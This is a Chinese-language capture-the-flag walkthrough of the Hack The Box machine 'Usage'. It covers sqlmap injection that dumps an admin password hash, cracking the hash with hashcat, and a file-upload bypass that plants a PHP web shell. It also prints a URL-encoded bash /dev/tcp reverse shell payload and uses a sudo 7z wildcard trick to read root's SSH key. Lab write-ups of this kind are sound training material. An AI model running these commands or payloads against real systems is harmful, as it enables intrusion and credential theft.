HTB - Usage

2.1k 詞

HTB - Usage

Target IP : 10.10.11.18

pic


user.txt

Port Enumerate

使用工具 :

  • Rustscan
  • nmap

使用命令 rustscan -a 10.10.11.18 --ulimit 6000 -- -sC -sV -Pn

pic

掃出來 Port 後 , 會看到詳細兩個服務和版本

1
2
1. 22/tcp open  ssh
2. 80/tcp open http

pic


DNS for Virtual web hosting

從上述掃描結果可以看到目標主機有個網頁伺服器但由於DNS 和 IP 對不上,所以我們要去/etc/hosts增加對應關係

pic

然後就可以進入網站

pic

fuzz 過子目錄 , 帳號註冊和登入 ,以及 admin 頁面都沒有收穫

SQL injection

最後用 sqlmap 盲注 http://usage.htb/forget-password 頁面

首先用 burp Suite 抓取 POST 請求

這邊使用 FoxyProxy 插件因為它內建的瀏覽器真的太爛了…

pic
pic

POST 請求存成一個檔案 我把它存到 r.txt
pic

先用以下指令
sqlmap -r r.txt --dbs --risk 3 --level 3 --threads 8 --batch

成功後得知他有三個資料庫

1
2
3
* imformatioa_schema
* performajce_schema
* usage_blog

pic

我們需要的資訊肯定是在 usage_blog
所以我們 enum 一下裡面有哪些 Tables

sqlmap -r r.txt -D usage_blog --tables --threads 30 --batch

pic

很明顯 , 管理員的資訊應該都在 admin_users上試著提取出裡面的資料

sqlmap -r r.txt -D usage_blog -T admin_users -columns --threads 6 --batch

pic

接下來只需要提取 username 和 password 就好了

sqlmap -r r.txt -D usage_blog --sql-shell --threads 6 --batch

由於不知道啥原因沒辦法從 -C 選項直接拿資料所以直接用模擬shell的環境用 SQL 語法讀取

pic

得到

1
2
username : admin
password : $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

Hash Cat

這個密碼肯定是 Hash 過的 , 所以我們沒辦法直接透過這段進入後台先想辦法得知他是什麼總類的 Hash 再來做還原的動作

使用nth
pic

得知是使用 bcrypt的方式 , 現在著手來還原使用著名的 rockyou.txt 來當字典檔

hashcat -a 0 -m 3200 pass.txt rockyou_2.txt --force

pic

結果馬上就跑出來了現在可以去後台瀏覽

Reverse Shell | WEB shell

pic

可以得知所有系統資訊和框架軟體版本但主角還是

1
http://admin.usage.htb/admin/auth/setting

pic

這邊經過測試 , 無法上傳非圖像的後門所以要透過一些小步驟來繞過去

先用 burp suite 來攔截上傳封包
pic

把第22行的 filename="q.jpg" 改成 filename="q.php"
然後上傳上去

pic

302 代表上傳成功 , 如果出現其他的可能是你的令牌過期了要重新整理一次在攔截一次 POST 請求

接下來,手速要很快,因為它會定期清掉上傳上去的東西pic
可以看到檔案能回傳ls的指令,代表我們成功了現在準備 payload 和 listener 就能創建一個reverse shell

1
payload = %2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F4244%200%3E%261%22

pic

pic

當我們成功接收到 reverse shell
/home/dash 底下能拿到 user.txt

root.txt

pic

接下來查看底下的檔案中有沒有有用的訊息找到一個名為 .monitrc 的檔案
pic

感覺是另一個帳戶的密碼,我們用xander的身分登入ssh看看

pic

拿到 ssh 後會做幾件事情

1
2
3
4
1. 看 ID 當前用戶組有什麼可以用的
2. sudo -l
3. 看開放的port
4. linpeas

跑一次 sudo -l 發現有一個二進制是我能用sudo跑的pic
用 scp 把它載回本地拆

1
scp xander@10.10.11.18:/usr/bin/usage_management ~/

Reverse Engineering

我們用 ghidra分析一輪拆開來看看

pic

backupWebContent(void) 函式看到調用到system來執行指令 , 通常這個地方是可以被利用的

然而在網路上看到這一篇文章 : HackTricks

pic

7z 會把我們所創建的 @foo 檔案當成目錄表然而因為不是目錄表它會在執行過程中報錯,並且打印出這個文件這邊我們就可以用sudo的權限去打印出我們想要的資料

pic

這邊選擇打印出 root 底下的 ssh 密鑰

pic

打印出來後把金鑰整理成可以使用的格式

pic

然後記得 chmod 600 {KEY_FILE}
再使用 ssh -i key root@10.10.11.18登入

pic

之後再直接 ls 就能拿到 root.txt

pic